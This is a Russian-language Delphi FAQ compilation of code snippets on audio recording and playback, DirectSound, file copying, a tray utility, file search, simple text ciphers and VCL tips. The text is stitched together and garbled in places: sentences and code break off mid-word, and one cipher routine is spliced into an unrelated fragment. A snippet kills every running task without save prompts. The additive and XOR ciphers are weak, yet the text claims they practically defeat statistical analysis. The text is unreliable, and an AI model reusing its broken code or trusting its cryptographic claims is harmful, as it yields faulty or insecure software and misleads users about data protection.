Integer(@BufferDoneCallBack),
Integer(P), CALLBACK_FUNCTION + WAVE_ALLOWSYNC );
If (iErr <> 0) Then
Begin
RecErrorMessage := 'Не могу открыть входное устройство для записи: ' + ^M
+
TWaveInGetErrorText(iErr);
SetupRecord := FALSE;
Exit;
End;
{ сообщаем CloseWaveDeviceRecord(), что устройство открыто }
bDeviceOpen := TRUE;
{ подготавливаем заголовки }
InitWaveHeaders();
For i := 0 to fTotalBuffers-1 Do
Begin
iErr := waveInPrepareHeader( WaveIn, pWaveHeader[I], sizeof(TWAVEHDR));
If (iErr <> 0) Then
begin
CloseWaveDeviceRecord;
RecErrorMessage := 'Ошибка подготовки заголовка для записи: ' + ^M +
TWaveInGetErrorText(iErr);
SetupRecord := FALSE;
Exit;
end;
End;
{ добавляем первый буфер }
If (Not AddNextBuffer) Then
begin
SetupRecord := FALSE;
Exit;
end;
SetupRecord := TRUE;
END;
{-----------------ProcessBuffer---------------John Mertus---14-Июнь--97--}
Procedure TWaveRecorder.ProcessBuffer(uMsg: Word; P : Pointer; n :
Integer);
{ Болванка процедуры, вызываемой при готовности буфера. }
--------------------------------------------------------------------------------
BEGIN
END;
END.
Через MultiMedia API йункцией WaveOutGetNumDevs().
uses MMSystem;
procedure TForm1.Button1Click(Sender: TObject);
begin
if WaveOutGetNumDevs > 0 then ShowMessage('Sound Card is installed')
else ShowMessage('Sound Card is not installed')
end;
=== 1 ===
Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV
Компилишь чем-нибyдь в *.RES
Далее в тексте:
{$R полное_имя_файла_с_ресурсом}
var WaveHandle : THandle;
WavePointer : pointer;
...
WaveHandle := FindResource(hInstance,'MY_WAV',RT_RCDATA);
if WaveHandle<>0 then begin
WaveHandle:= LoadResource(hInstance,WaveHandle);
if WaveHandle<>0 then begin;
WavePointer := LockResource(WaveHandle);
PlayResourceWave := sndPlaySound(WavePointer,snd_Memory OR
SND_ASYNC);
UnlockResource(WaveHandle);
FreeResource(WaveHandle);
end;
end;
=== 2 ===
PlaySound('SOUNDNAME',hInstance,SND_RESOURCE or SND_ASYNC);
Как проигрываеть MPEG файл в Delphi-программе?
Ответ:
Если в системе Windows MMSystem установлен декодер MPEG - используя компонент
TMediaPlayer
Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
MediaPlayer1.Filename := 'C:\DownLoad\rsgrow.mpg';
MediaPlayer1.Open;
MediaPlayer1.Display := Panel1;
MediaPlayer1.DisplayRect := Panel1.ClientRect;
MediaPlayer1.Play;
end;
Это выключит спикеp:
SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);
Это включит:
SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE);
рабочий пример использования DirectSound на Delphi + несколько полезных процедур. В этом примере создается
один первичный SoundBuffer и 2 статических, вторичных; в них загружаются 2 WAV файла. Первичный буфер
создается процедурой AppCreateWritePrimaryBuffer, а любой вторичный - AppCreateWritePrimaryBuffer. Так как
вторичный буфер связан с WAV файлом, то при создании буфера нужно определить его параметры в соответствии
со звуковым файлом, эти характеристики (Samples, Bits, IsStereo) задаются в виде параметров процедуры. Time -
время WAV'файла в секундах (округление в сторону увеличения).
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
DirectSound : IDirectSound;
DirectSoundBuffer : IDirectSoundBuffer;
SecondarySoundBuffer : array[0..1] of IDirectSoundBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer;
Bits: Word;
isStereo:Boolean;
Time: Integer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData;
SoundBytes: DWord);
procedure CopyWAVToBuffer(Name: PChar; var Buffer: IDirectSoundBuffer);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
Raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0],22050,8,False,10);
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1],22050,16,True,1);
end;
procedure TForm1.FormDestroy(Sender: TObject);
var i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then DirectSoundBuffer.Release;
for i:=0 to 1 do
if Assigned(SecondarySoundBuffer[i]) then SecondarySoundBuffer[i].Release;
if Assigned(DirectSound) then DirectSound.Release;
end;
procedure TForm1.AppWriteDataToBuffer;
var
AudioPtr1,AudioPtr2 : Pointer;
AudioBytes1,AudioBytes2 : DWord;
h : HResult;
Temp : Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0) <> DS_OK then
Raise Exception.Create('Unable to Lock Sound Buffer');
end else
if H <> DS_OK then Raise Exception.Create('Unable to Lock Sound Buffer');
Temp:=@SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1,AudioPtr2, AudioBytes2) <> DS_OK
then Raise Exception.Create('Unable to UnLock Sound Buffer');
end;
procedure TForm1.AppCreateWritePrimaryBuffer;
var BufferDesc : DSBUFFERDESC;
Caps : DSBCaps;
PCM : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK
then Raise Exception.Create('Unable to set Coopeative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK
then Raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK
then Raise Exception.Create('Unable to set Coopeative Level');
end;
procedure TForm1.AppCreateWriteSecondaryBuffer;
var BufferDesc : DSBUFFERDESC;
Caps : DSBCaps;
PCM : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then PCM.nChannels:=2 else PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
end;
procedure TForm1.CopyWAVToBuffer;
var Data : PChar;
FName : TFileStream;
DataSize : DWord;
Chunk : String[4];
Pos : Integer;
begin
FName:=TFileStream.Create(Name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.Read(Chunk[1],4);
Inc(Pos);
until Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.Read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.Read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CopyWAVToBuffer('1.wav',SecondarySoundBuffer[0]);
CopyWAVToBuffer('flip.wav',SecondarySoundBuffer[1]);
if SecondarySoundBuffer[0].Play(0,0,0) <> DS_OK
then ShowMessage('Can''t play the Sound');
if SecondarySoundBuffer[1].Play(0,0,0) <> DS_OK
then ShowMessage('Can''t play the Sound');
end;
end.
В Win32 существует функция CopyFile, которая работает быстро, никаких проблем с ней не возникает, что же еще нужно? Если
копируется большой файл, то это занимает много времени. И все то время программа будет стоять на строчке с вызовом CopyFile.
Это означает, что не сможет даже перерисоваться окно. Конечно, копирование файла можно вынести в отдельный поток. Но даже в
этом случае не удастся определ Копирование файла
Для этой цели удобно использовать процедуры BlockRead и BlockWrite. Для указания пользователем, какой файл копировать и куда,
здесь используется OpenDialog и SaveDialog. Здесь было бы удобно использовать Gauge для отображения процента выполненной
работы. Но Gauge - плохо сделанный компонент (не оптимально). Так что здесь это же реализовано "вручную".
Самой сложной задачей является определение времени, которое потребуется на завершение копирования файла. Казалось бы:
определить затраченное время, разделить на процент сделанной работы - и вот готовое полное время копирования. Но кэширование
и многозадачность сильно портят картину. Наилучшее решение, которое мне пришло в голову, это искать скорость копирования не
на основе всего затраченного времени, а на основе последних секунд. Если даже какой-то другой процесс "притормозит"
копирование, реакция на это
var
p, fs: integer;
procedure TForm1.Button1Click(Sender: TObject);
const
BufSize = 524288;
LeftS = 'Осталось ';
var
S, D: File;
buf: array [0..BufSize] of byte;
r, w: integer;
OldP, LastP, LastP1: integer;
t0, t1: cardinal;
LeftTime: boolean; { Нужно ли писать об оставшемся времени }
LeftSec: integer;
begin
if OpenDialog1.Execute = false then Exit;
if SaveDialog1.Execute = false then Exit;
Label1.Caption := 'Копирование: из "' + OpenDialog1.FileName +
'" в "' + SaveDialog1.FileName + '"';
AssignFile(S, OpenDialog1.FileName);
Reset(S, 1);
AssignFile(D, SaveDialog1.FileName);
Rewrite(D, 1);
fs := FileSize(S);
p := 0; OldP := 0; LastP := 0; LastP1 := 0;
t0 := GetTickCount; t1 := t0;
LeftTime := false;
repeat
BlockRead(S, buf, BufSize, r);
BlockWrite(D, buf, r, w);
inc(p, w);
if round(p / fs * 100) <> round(OldP / fs * 100) then begin
Form1.Canvas.FillRect(Bounds(11 + round(OldP / fs * 100), 51, round((p - OldP) / fs * 100), 18));
OldP := p;
if not LeftTime then LeftTime := GetTickCount - t0 > 20;
if LeftTime then begin
if GetTickCount - t0 > 10000 then begin
t0 := t1;
LastP := LastP1;
t1 := GetTickCount;
LastP1 := p;
end;
LeftSec := round((GetTickCount - t0) /
(p - LastP) * (fs - p) / 1000);
case LeftSec of
0..10: Label1.Caption := LeftS + IntToStr(LeftSec) + ' сек';
11..25: Label1.Caption := LeftS +
IntToStr(round(LeftSec / 5) * 5) + ' сек';
26..54: Label1.Caption := LeftS +
IntToStr(round(LeftSec / 10) * 10) + ' сек';
55..180: Label1.Caption := LeftS +
IntToStr(round(LeftSec / 60)) + ' мин ' +
IntToStr(round(LeftSec / 20) * 20) + ' сек';
else Label1.Caption := LeftS +
IntToStr(round(LeftSec / 60)) + ' мин';
end;
end;
end;
Application.ProcessMessages;
until (r < BufSize) or (w < r);
Label1.Caption := 'Копирование закончилось';
CloseFile(S);
CloseFile(D);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
SaveDialog1.Options := SaveDialog1.Options +
[ofOverwritePrompt,ofCreatePrompt];
fs := 1;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
with Form1.Canvas do begin
Brush.Color := clWhite;
Pen.Color := clGray;
Rectangle(10, 50, 112, 70);
Brush.Color := clNavy;
FillRect(Bounds(11, 51, round(p / fs * 100), 18));
end;
end;
Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.
Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой
операции. :) (ну это смотря ЗАЧЕМ вам это... )
procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
pTask : PTaskEntry;
Task : Bool;
ThisTask: THANDLE;
begin
GetMem (pTask, SizeOf (TTaskEntry));
pTask^.dwSize := SizeOf (TTaskEntry);
Task := TaskFirst (pTask);
while Task do
begin
if pTask^.hInst = hInstance then
ThisTask := pTask^.hTask
else
TerminateApp (pTask^.hTask, NO_UAE_BOX);
Task := TaskNext (pTask);
end;
TerminateApp (ThisTask, NO_UAE_BOX);
end;
Речь сегодня опять пойдет о резидентных программах. В этот раз в программу будут добавлены новые функции, а именно: записная
книжка, "усыпление" компьютера, вызов диалога "Завершение работы Windows".
Для тех, кто не читал предыдущего выпуска: чтобы создать программу без модулей (а это здесь нужно) можно в меню File | New...
выбрать Console Application.
Начиная с этого выпуска, я буду выкладывать на сайт program.dax.ru
http://program.dax.ru/
все файлы проекта, необходимые для компиляции.
Скачав их (в архиве они будут занимать 3-5 Кбайт),
Вам не придется думать, что делать с этим текстом и какие компоненты с какими событиями создавать.
Записная книжка - это окно с многострочным полем ввода,
которое легко вызывается и которое сохраняет текст, вводимый пользователем.
То есть, при открытии текст считывается из файла, а при закрытии сохраняется в файл.
Поскольку поле ввода - окно, его можно создать без каких-либо родительских окон.
В VCL аналогом этого было бы создание Memo вне формы.
Чтобы объяснить Windows, что это поле ввода,
в качестве имени класса окна нужно указать 'EDIT'. ES_MULTILINE делает его многострочным.
Когда записная книжка закрывается, текст из нее нужно сохранить.
Но сообщения WM_CLOSE, WM_DESTROY и другие попадают не ко мне,
а в стандартную оконную процедуру поля ввода.
Поэтому стандартную процедуру поля ввода нужно заменить на свою.
А чтобы сохранить функциональность поля ввода,
все сообщения кроме WM_DESTROY пересылаются в старую оконную процедуру.
В прошлом выпуске программа отслеживала координаты курсора и,
если мышь была в левом верхнем углу экрана, запускала ScreenSaver.
Чтобы при следующей проверке координат курсора не запускать ScreenSaver повторно,
программа проверяла, какое окно сейчас активно.
Дело в том, что стандартные хранители экрана в некоторых версиях Windows
всегда создают окна с названием класса 'WindowsScreenSaverClass'.
Но, поскольку работает это не всюду, я решил убрать эту функцию.
program Project1;
uses
Windows,
ShellAPI,
Messages;
const
ClassName = 'MyResident'; // Имя класса
WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
генерироваться при событиях с tray }
var
menu: hMenu; // Всплывающее меню
mywnd: hWnd; // Окно программы
memo: hWnd = 0; // Окно записной книжки
OldMemoProc: Pointer; // Стандартная оконная процедура Edit
// Оконная процедура записной книжки:
function MemoWndProc(wnd: hWnd; msg, wParam,
lParam: longint): longint; stdcall;
var
s: PChar;
len: integer;
F: File;
begin
case msg of
WM_DESTROY: begin // Окно закрывается
// Сохранение текста:
len := GetWindowTextLength(memo);
GetMem(s, len + 1);
GetWindowText(memo, s, len + 1);
AssignFile(F, 'memo.txt');
Rewrite(F, 1);
BlockWrite(F, s^, len);
CloseFile(F);
FreeMem(s);
result := 0;
memo := 0;
end;
WM_KEYUP: begin // Нажата клавиша
if wparam = VK_ESCAPE // Нажат Escape
then result := SendMessage(memo, WM_CLOSE, 0, 0)
else result := DefWindowProc(wnd, msg, wparam, lparam);
end;
// Иначе - вызвать старую оконную процедуру
else result := CallWindowProc(OldMemoProc, wnd, msg, wparam, lparam);
end;
end;
// Создание окна записной книжки:
procedure CreateMemo;
var
len: cardinal;
F: hFile;
s: PChar;
ReadBytes: cardinal;
begin
// Если записная книжка уже открыта - выход из процедуры:
if GetForegroundWindow = memo then Exit;
// Создание окна:
memo := CreateWindowEx(WS_EX_PALETTEWINDOW, 'EDIT', nil,
WS_POPUP or WS_SIZEBOX or WS_VSCROLL or
ES_MULTILINE or ES_AUTOVSCROLL,
GetSystemMetrics(SM_CXFULLSCREEN) div 2 - 200,
GetSystemMetrics(SM_CYFULLSCREEN) div 2 - 200,
400, 400, 0, 0, hinstance, nil);
// Установка шрифта:
SendMessage(memo, WM_SETFONT, GetStockObject(SYSTEM_FIXED_FONT), 0);
// Сохранение старой и установка новой оконной процедуры:
OldMemoProc := Pointer(GetWindowLong(memo, GWL_WNDPROC));
SetWindowLong(memo, GWL_WNDPROC, longint(@MemoWndProc));
{ Открытие файла (здесь удобнее воспользоваться функциями WinAPI): }
try
F := CreateFile('memo.txt', GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if F = INVALID_HANDLE_VALUE then Exit;
len := GetFileSize(F, nil);
if len = $FFFFFFFF then Exit;
GetMem(s, len + 1);
ReadFile(F, s^, len, ReadBytes, nil);
SetWindowText(memo, s);
CloseHandle(F);
FreeMem(s);
except SetWindowText(memo, 'Error') end;
// Показать окно:
ShowWindow(memo, SW_SHOW);
UpdateWindow(memo);
end;
// Главная оконная процедура:
function MyWndProc(wnd: hWnd; msg, wParam,
lParam: longint): longint; stdcall;
var
p: TPoint;
tray: TNotifyIconData;
ProgmanWnd: hWnd;
begin
case msg of
WM_NOTIFYTRAYICON: begin // Событие tray
// Если нажата правая кнопка, показать меню:
if lparam = WM_RBUTTONUP then begin
SetForegroundWindow(mywnd);
GetCursorPos(p);
TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
end;
result := 0;
end;
WM_COMMAND: begin // Выбран пункт меню
{ В зависимости от выбранного пункта меню открывается
записная книжка, запускается ScreenSaver, "усыпляется"
компьютер или закрывается программа: }
case loword(wparam) of
0: CreateMemo;
1: SendMessage(mywnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
2: SetSystemPowerState(true, true);
4: SendMessage(mywnd, WM_CLOSE, 0, 0);
end;
result := 0;
end;
WM_HOTKEY: begin // Нажата горячая клавиша
case loword(lparam) of
// Нажата клавиша Pause:
0: SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
// Нажаты клавиши Alt+Pause:
MOD_ALT: begin
ProgmanWnd := FindWindow('Progman', 'Program Manager');
if ProgmanWnd <> 0
then SendMessage(ProgmanWnd, WM_CLOSE, 0, 0);
end;
// Нажаты клавиши Alt+Shift+Pause:
MOD_ALT or MOD_SHIFT: SetSystemPowerState(true, true);
// Иначе:
else CreateMemo;
end;
result := 0;
end;
WM_ACTIVATEAPP: begin // Изменение активности приложения
{ Если приложение потеряло активность - закрыть (если нужно)
записную книжку: }
if (memo <> 0) and (wparam = 0)
then SendMessage(memo, WM_CLOSE, 0, 0);
result := 0;
end;
WM_DESTROY: begin // Закрытие программы
// Удаление tray:
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
end;
Shell_NotifyIcon(NIM_DELETE, @tray);
PostQuitMessage(0);
result := 0;
end;
else result := DefWindowProc(wnd, msg, WParam, LParam);
end;
end;
// Создание окна:
function CreateMyWnd: hWnd;
var
wc: WndClass;
begin
// Регистрация класса:
wc.style := CS_HREDRAW or CS_VREDRAW;
wc.lpfnWndProc := @MyWndProc;
wc.cbClsExtra := 0;
wc.cbWndExtra := 0;
wc.hInstance := hInstance;
wc.hIcon := LoadIcon(hinstance, IDI_ASTERISK);
wc.hCursor := LoadCursor(hinstance, IDC_ARROW);
wc.hbrBackground := COLOR_INACTIVECAPTION;
wc.lpszMenuName := nil;
wc.lpszClassName := ClassName;
if RegisterClass(wc) = 0 then halt(0);
// Создание окна:
result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
'My Window', WS_POPUP, 100, 100, 200, 200, 0, 0, hInstance, nil);
if result = 0 then halt(0);
end;
// Создание Tray:
procedure CreateTray;
var
tray: TNotifyIconData;
begin
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallBackMessage := WM_NOTIFYTRAYICON;
hIcon := LoadIcon(0, IDI_ASTERISK);
szTip := ('My Resident');
end;
Shell_NotifyIcon(NIM_ADD, @tray);
end;
// Создание всплывающего меню:
function CreateMyMenu: hMenu;
begin
result := CreatePopupMenu;
if result = 0 then Exit;
AppendMenu(result, MF_STRING, 0, 'Memo');
AppendMenu(result, MF_STRING, 1, 'ScreenSaver');
AppendMenu(result, MF_STRING, 2, 'Sleep');
AppendMenu(result, MF_SEPARATOR, 3, 'Exit');
AppendMenu(result, MF_STRING, 4, 'Exit');
end;
var
msg: TMsg;
begin
mywnd := CreateMyWnd; // Создание окна
CreateTray; // Создание tray
menu := CreateMyMenu; // Создание меню
// Установка низкого приоритета:
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE);
// Регистрация "горячих клавиш":
RegisterHotKey(mywnd, 0, 0, VK_PAUSE);
RegisterHotKey(mywnd, 1, MOD_ALT, VK_PAUSE);
RegisterHotKey(mywnd, 2, MOD_SHIFT, VK_PAUSE);
RegisterHotKey(mywnd, 3, MOD_ALT or MOD_SHIFT, VK_PAUSE);
// Распределение сообщений:
while (GetMessage(msg, 0, 0, 0)) do begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
// "Уничтожение" горячих клавиш:
UnregisterHotKey(mywnd, 0);
UnregisterHotKey(mywnd, 1);
UnregisterHotKey(mywnd, 2);
end.
Вот пример, который ищет мп3 файлы на жестком диске...
unit Audit1;
interface
uses windos;
var
dest:string;
procedure dorecurse(dir:string);
implementation
{$R *.DFM}
Procedure Process (dir:string; Searchrec:tsearchrec);
begin
showmessage (Searchrec.name);
case Searchrec.attr of
$10:
if (searchrec.name<>'.') and (searchrec.name<>'..') then
begin
dorecurse (dir+'\'+searchrec.name);
writeln (dir);
end;
end;
end;
Procedure Dorecurse(dir:string);
var
Searchrec:Tsearchrec;
pc: array[0..79] of Char;
begin
StrPCopy(pc, dir+'\*.mp3');
FindFirst(pc, FaAnyfile, SearchRec);
Process (dir,SearchRec);
while FindNext(SearchRec)<>-18 do
begin
Process (dir,SearchRec);
end;
end;
Procedure startsearch;
begin
dorecurse (paramstr(1));
end;
begin
startsearch;
end.
Шифрование текста
Метод основан на сложении текста и пароля: "мой текст" + "пароль" = ('м'+'п')('о'+'а')... То есть каждый символ получают путем
сложения соответствующих символов текста и пароля. Под "сложением символов" я подразумеваю сложение номеров этих символов.
Обычно пароль длиннее текста, поэтому его размножают: "парольпар".
Чтобы расшифровать текст, нужно проделать обратную операцию, то есть из текста вычесть пароль.
При нажатии на Button1 эта программа шифрует текст из Memo1 при помощи пароля из Edit1. Результат сохраняется в строку s. Для
наглядности зашифрованный текст также помещается в Memo1. При нажатии на Button2 текст из s расшифровывается. Если Вы
нажмете Button1 два раза подряд, получится зашифрованный зашифрованный текст. Вернуть начальный текст можно будет двумя
нажатиями на Button2. Но, поскольку в результате шифрования в строке могут появится
var
s: string;
procedure Code(var text: string; password: string;
decode: boolean);
var
i, PasswordLength: integer;
sign: shortint;
begin
PasswordLength := length(password);
if PasswordLength = 0 then Exit;
if decode
then sign := -1
else sign := 1;
for i := 1 to Length(text) do
text[i] := chr(ord(text[i]) + sign *
ord(password[i mod PasswordLength + 1]));
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
s := Memo1.Text;
code(s, Edit1.Text, false);
Memo1.Text := s;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
code(s, Edit1.Text, true);
Memo1.Text := s;
end;
__________________________________________________________
Кодировка полиалфавитным шифром Вигeнера - xor кодировка
одна функция для кодирования и декодирования
Input - входная строка. При кодировании это незакодированная строка, при декодировнии это закодированная строка.
Key - слово ключ один и тот же в обоих случаях.
function VigenerCoDec(Input,Key:pchar):pchar
var
i,j:integer;
tmps,text:string;
begin
text:=Input;
for i:=1 to length(text) do
begin
if i>length(key) then j:=i mod length(key) else j:=i;
tmps:=tmps+chr((ord(text[i]))xor(ord(key[j])));
end;
result:=pchar(tmps);
end;
Пример использования:
Text:=edit1.text;
K:=edit2.text;
Edit3.text:=VigenerCoDec(Text,K);
Закодировать:
Input:='Привет я РУ'; Key:='hello'; result:='ГуднйзHвH++';
Восстановить:
Input:='ГуднйзHвH++'; Key:='hello'; result:='Привет я РУ';
--------------------------------------------------------------
function Shivrovka(str:string):string;
var i:integer;
s:string;
c:char;
begin
s:='';
if Length(str)>0 then
for i:=1 to Length(str) do
begin
c:=str[i];
s:=s+Chr(256-Ord(c));
end;
result:=s;
end;
Это на конкурс "Самый медленный код"? Приз зрительских симпатий Вам обеспечен 8)
-------------------------------------------------------------------------------
Данная функция (AddDisturbToText) представляет собой подготовительную операцию перед шифрацией текста любым алгоритмом.
Функция добавляет в текст случайное количество непечатных символов, располагая их хаотически.
Таким образом подготовленный текст, после шифрации одним и тем-же ключом, не зависимо от алгоритма, каждый раз будет выглядеть
по разному и количественно и качественно, что практически сводит на нет любой статистический анализ.
При расшифровке, непечатные символы элементарно вычищаются функцией RemoveDisturbFromText.
const
NPCS:set of char = [ #0..#8, #11, #12, #14..#31, #127];
// Добавление в текст непечатных символов
function AddDisturbToText(Source:String):String;
var n, c:integer;
begin
Randomize;
Result:=Source;
n:=(Length(Source)*2)+Random(Length(Source));
while Length(Result)К заголовку
pgProgress положить на форму как Visible := false;
StatusPanel надо OwnerDraw сделать и pефpешить, если Position меняется.
procedure TMainForm.stStatusBarDrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
begin
if Panel.Index = pnProgress then
begin
pgProgress.BoundsRect := Rect;
pgProgress.PaintTo(stStatusBar.Canvas.Handle, Rect.Left, Rect.Top);
end;
end;
Чтобы записать значения в TStringlist :
MyStringList.AddObject('Text string', TObject(100));
Чтобы прочитать значения:
Result := LongInt( MyStringList.Objects[0] );
Если Вы хотите сохранить более одного целочисленного значения, создайте потомка класса TObject
type
ManyValues = class(TObject)
Value1 : Integer;
Value2 : Integer;
end;
1. Val (S; var V; var Code: Integer);
Конвертирует стринг S в численную переменную V, если ошибка, то номер ошибочного символа помещается в переменную
Code, в противном случае Code = 0; (см. help "Val Example")
2. Pos(SubStr : string, S : string) : integer;
Ищет позицию Substr в S, не найден = 0;
3. Delete(S : string, Index : integer , Count : integer );
Вырезает из стринга S Count символов с позиции Index
4. Insert(Substr: string, Dest : string, Index : integer);
Вставляет в стринг Dest символы Substr в позицию Index
5. Length(s : string) : integer;
Определяет количество символов в строке S;
6. TStrings.Equals
function Equals(Strings: TStrings): Boolean
Сравнивает два списка, если равны, то возвращает True;
=== 1 ===
Функция StrToInt позволяет очень удобно преобразовывать строку '123' в число 123. Но если строка не содержит число (например,
'абв'), будет выдано сообщение об ошибке. Чтобы этого избежать, можно воспользоваться процедурой val, которая, впрочем, не
очень удобна. В некоторых же случаях возможно использование StrToIntDef. В случае неверной строки функция вернет значение,
переданное ей со вторым параметром. Пример:
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
v: integer;
begin
if key = VK_RETURN then begin
v := StrToIntDef(Edit1.Text, 0);
Edit1.Text := IntToStr(v);
Edit1.SelectAll;
end;
end;
Для этого надо воспользоваться TabbedNoteBook.Pages:
var
NewButton : TButton;
i : integer;
begin
NewButton := TButton.Create(Self);
NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[i]);
end;
Аналогичным образом можно поменять надпись на закладке страницы:
TabbedNotebook1.Pages.Strings[i]:='My Page caption';
procedure TForm1.Delay(msecs : Longint);
var
FirstTick : longint;
begin
FirstTick:=GetTickCount;
repeat
Application.ProcessMessages;
{для того чтобы не "завесить" Windows}
until GetTickCount-FirstTick >= msecs;
end;
procedure SetNodeState(node :TTreeNode; Flags: Integer);
var
tvi: TTVItem;
begin
FillChar(tvi, Sizeof(tvi), 0);
tvi.hItem := node.ItemID;
tvi.mask := TVIF_STATE;
tvi.stateMask := TVIS_BOLD or TVIS_CUT;
tvi.state := Flags;
TreeView_SetItem(node.Handle, tvi);
end;
И вызываем:
SetNodeState(TreeView1.Selected, TVIS_BOLD); // Текст жиpным
SetNodeState(TreeView1.Selected, TVIS_CUT); // Иконкy бледной
(Ctrl+X)
SetNodeState(TreeView1.Selected, TVIS_BOLD or TVIS_CUT); // Текст жиpным
SetNodeState(TreeView1.Selected, 0); // Hи того, ни
дpyгого
Когда-то (мечтательно закатив глаза в потолок) в API было еще и TVIS_DISABLE.
Снесли собаки. А pекомендyемyю стилистикy yпотpебления этого добpа смотpи в MS
Internet News.
Как загрузить в TreeView содержимое, например, диска С:\?
FindFirstFile
FindNextFile
FindClose
А вообще самый лёгкий способ получить список файлов создать простой ListBox и отправить ему сообщение LB_DIR.
Примерно так:
SendMessage(hwndLB, LB_DIR, DDL_READWRITE | DDL_DIRECTORY, (LONG)"C:\\*.*");
а затем
цитата:
--------------------------------------------------------------------------------
Adding Tree-View Items
You add an item to a tree-view control by sending the TVM_INSERTITEM message to the control. The message includes the address of a
TVINSERTSTRUCT structure, specifying the parent item, the item after which the new item is inserted, and a TVITEM structure that
defines the attributes of the item. The attributes include the item's label, its selected and nonse vel; // heading level
// Open the file to parse.
if ((hf = CreateFile(lpszFileName, GENERIC_READ,
